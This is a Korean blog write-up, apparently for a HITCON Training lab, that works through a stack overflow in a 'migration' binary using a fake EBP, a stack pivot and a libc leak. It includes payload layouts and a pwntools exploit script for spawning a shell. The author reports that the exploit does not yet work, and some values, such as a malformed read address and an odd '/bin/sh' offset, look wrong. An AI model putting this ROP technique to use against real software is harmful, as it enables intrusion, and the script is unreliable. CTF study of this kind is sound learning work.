Lab6. Fake ebp, stack pivot (진행 중)

2020. 12. 13. 20:10문제연습/Hitcon training

반응형

 

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

Lab6. Fake ebp, stack pivot (진행 중)

본 네이버 블로그는 모바일에 최적화되어 있습니다.PC 유저분들은 아래 티스토리 블로그를 이용해 주세요...

blog.naver.com

이번 문제는 해결 원리는 간단하나 필자의 미숙한 writeup 때문에 조금 난잡할 수 있으며

아직 풀이 진행 중임을 알립니다.

-2020.12.13-

 

1. 문제 파일

바이너리 분석)

이번 실행파일은 보호 기법이나 링크 방식이 저번 문제와 비슷합니다.

딱히 또 눈에 띄는 정보가 또 존재하지 않으므로 바로 소스코드를 보도록 하겠습니다.

 

 

소스코드 분석)

#include <stdio.h>
int count = 1337 ;
int main(){
        if(count != 1337)
                _exit(1);
        count++;
        char buf[40];
        setvbuf(stdout,0,2,0);
        puts("Try your best :");
        read(0,buf,64);
        return ;
}

- 발생 취약점

1) buf의 할당 크기가 40byte인데 read 함수를 통해 64byte를 입력받고 있습니다. (Overflow)

 

main 함수의 내부 스택을 대략적으로 나타내면 다음과 같습니다.

read 함수로 64byte를 입력받기에 buf와 sfp를 더미 데이터로 덮어버리면 우리가 원하는 ret 주소로 조작이 가능합니다.

 

그러나 한 가지 문제가 존재합니다.

64byte - buf( 40byte) - sfp( 4byte) = 20byte

 

20 바이트면 rop를 진행하기도 애매한 공간입니다. (당장 system으로 인자를 넘긴다고 해도 아슬아슬한데, "bin/sh"를 입력하기 위해 read 함수를 호출한다고 하면 용량을 초과하게 됩니다.)

 

 

정리)

일단 지금까지의 상황을 정리해 보도록 하겠습니다.

 

1. 현재 64byte 입력이 가능하다.

2. 20byte는 임의적 조작이 가능하나 rop, 쉘 코드를 저장하기에는 부족하다.

 

 

2. 문제 공략

일단은 스택의 실행 권한이 없기에 libc를 이용한 rop 공격을 진행해야 합니다.

크게 제가 생각하는 방법은 두 가지입니다.

 

 

1. buf에 rop 공격 코드를 넣고 sfp와 ret를 조작하여 buf를 다시 가리키도록 하여 해당 rop 코드를 실행시키는 방법입니다.

 

- 해설

입력받는 데이터 값의 크기는 64byte이며 buf + sfp + ret 합이 48byte이므로 입력 범위 크기 안이며, rop 코드도 read + pppr + 0 + bss + length(shell) +system + pppr + "bin/sh" 이런 형태를 가지게 되므로 총 8*4 = 32byte이기 때문에 buf 안에 코드를 집어넣어도 공간이 남습니다.

 

그러나 ebp를 통한 buf의 주소를 알아내야 하는데, 아직 익숙하지 않아서 이 방법은 조금 고민이 필요합니다.

 

 

2. 임의의 영역에 쉘 코드를 작성하는 방법(일반적인 해설)

 

- 해설

어쨌든 libc를 사용하는 것이기에 rw 권한이 있는 공간에 rop 코드를 넣고 실행하는 방법입니다.

일반적인 read + pppr + 0 + 임의 공간 + length(shell) + system + pppr + "bin/sh" rop 코드를 생각하고 main의 ret 주소를 덮으면 64byte를 초과하기에 공격이 불가능합니다.

하지만!!! fake ebp를 이용한다면 완전히 불가능한 공격도 아닙니다.

 

sfp를 bss 영역 값을 주고 ret 주소에 main 함수에서 read 함수 호출 부분을 가리키게 되면 buf 주소는 스택 위치로 [ebp-0x??] 꼴의 형태로 표시되는데, read 함수 인자로 bss 영역을 집어넣는 것이 가능하면서 동시에 read 함수 인자를 처리할 필요가 없으므로 매우 유용합니다.

 

일단은 2번 전략으로 문제를 풀도록 하겠습니다.

 

 

해결 전략)

일단 shell을 실행시킬 rop 코드를 구현하기 위한 메모리 릭이 필요합니다.

(aslr, nx 보호 기법 우회를 위한 함수들의 offset 구하기 위함임.)

 

그리고 bss 영역으로 이동함과 동시에 ret 주소를 rop 코드 부분으로 넘어가기 위한 fake ebp 부분도 필요합니다.

하나하나 차례대로 구해보도록 하겠습니다.

 

 

stage1)

일단 프로그램의 실행 흐름을 바꾸어 다시 한번 main 함수 속 read 함수를 호출하도록 바꾸겠습니다.

동시에 sfp(ebp) 값을 rop 코드 저장할 공간으로 조작하면 read 함수로 임의의 공간에 쓰는 것이 가능합니다.

 

- rop를 위한 메모리 릭

#include <stdio.h>
int count = 1337 ;
int main(){
        if(count != 1337)
                _exit(1);
        count++;
        char buf[40];
        setvbuf(stdout,0,2,0);
        puts("Try your best :");
        read(0,buf,64);
        return ;
}

소스 코드를 보면 read 함수를 호출하기 전 puts, setvbuf 함수가 호출되는 것을 알 수 있습니다.

즉, read 함수가 호출되기 전에 이미 실제 주소를 가지고 있기 때문에 이들을 이용해 기준점을 찾고 offset을 더해 원하는 함수의 실제 주소를 구하면 될 듯합니다.

 

main 함수의 ret 주소에 puts 함수 호출 코드를 넣고 pr 가젯을 붙인 뒤 인자로 setvbuf의 got 주소를 출력하도록 하면 될 듯합니다.

puts 호출 주소 : 0x8048390

setvbuf got 주소 : 0x8049ffc

pr 가젯 : 0x0804836d

 

 

- sfp에 넣을 메모리 주소(read 함수 인자 조작)

bss 영역은 크기가 8byte 밖에 되지 않아서 그냥 0x0804a000 ~ 0x0804b000 영역 적당한 공간에 sfp를 넣어 주도록 하겠습니다.

단, read 함수 인자로 들어가는 부분을 확인하면 buf의 주소를 [ebp-0x28]로 설정하고 있으므로 아무리 못해도 0x0804a000 + 0x28을 해줘야 합니다. (저는 그냥 0x0804a100으로 설정하겠습니다.)

 

- main 함수 내부 read 함수 호출 부분

위 사진을 보면 pdisas main 부분의 사진을 보면 간단히 알 수 있습니다.

-> 0x80484f2

여기까지 stage1의 payload입니다.

dummy(40) + 0x0804a100 + 0x8048390(puts) + 0x0804836d(pr) + 0x8049ffc(setvbuf) + 0x80484f2(main_read)

 

이렇게 되면 got 주소를 기반으로 함수들의 offset을 통한 임의의 함수 호출이 가능하며 동시에 main 함수의 read 함수를 조작된 주소로 저장하도록 재 호출이 가능합니다.

 

 

stage2)

이제 조작된 인자로 호출된 read 함수를 통해 쉘 공략을 진행해 볼 때입니다.

여기서는 다시 한번 호출된 read 함수를 통해 main 함수의 ret 주소를 다시 조작하는 것입니다.

 

payload2는 아래와 같습니다.

dummy(40) + sfp(dummy 4) + system(4) + dummy(4) + "bin/sh"

 

그럼 우리가 구해야 할 것은 setvbuf와 system, "bin/sh"간의 offset이겠군요.

system_offset : 0x2adb0

"bin/sh"_offset : 0xf74c6fa1

 

이제 공격을 위한 모든 구성 요소는 갖추었습니다.

한번 코드를 짜보도록 하겠습니다.

from pwn import *

e=ELF("./migration")
p= process("./migration")


#stage1
shell_address = 0x0804a100
puts = 0x8048390
pr = 0x0804836d
setvbuf_addr = 0x8049ffc
main_read = 0x0804084f2

payload1 = "A"*40 + p32(shell_address) + p32(puts) + p32(pr) + p32(setvbuf_addr) + p32(main_read)
p.recvuntil("Try your best :\n")
p.sendline(payload1)
setvbuf_addr=u32(p.recv(4))
p.recv()



#stage2
system = 0x2adb0 + setvbuf_addr
Binsh = 0xf74c6fa1 + setvbuf_addr

payload2 = "A"*44 + p32(system) + "B"*4 + p32(Binsh)
p.sendline(payload2)


p.interactive()

 

실제 이렇게 코드를 날려도 저는 쉘 권한을 따낼 수 없었습니다.

일단 코드에서 문제가 된다고 추측이 되는 부분은 ebp값 조작 부분입니다.

나머지 부분은 다른 블로그와 비슷하거나 똑같은데 ebp 건드리는 부분을 제가 제대로 계산하지 못해서 쉘 권한을 따내지 못했나...라고 생각이 듭니다.

 

일단 이번 문제의 전반적인 방향성을 잡았으므로 계속해서 수정해 나갈 수 있도록 하겠습니다.

이상 ICMP였습니다!!!

 

반응형

'문제연습 > Hitcon training' 카테고리의 다른 글

Lab8. Format String Bug  (0) 2020.12.19
Lab7. Format String Bug (진행 중)  (0) 2020.12.15
Lab5. Return Oriented Programming  (0) 2020.12.09
Lab4. Return To Libc  (0) 2020.12.09
Lab3. 오버플로 공격 기초  (0) 2020.12.05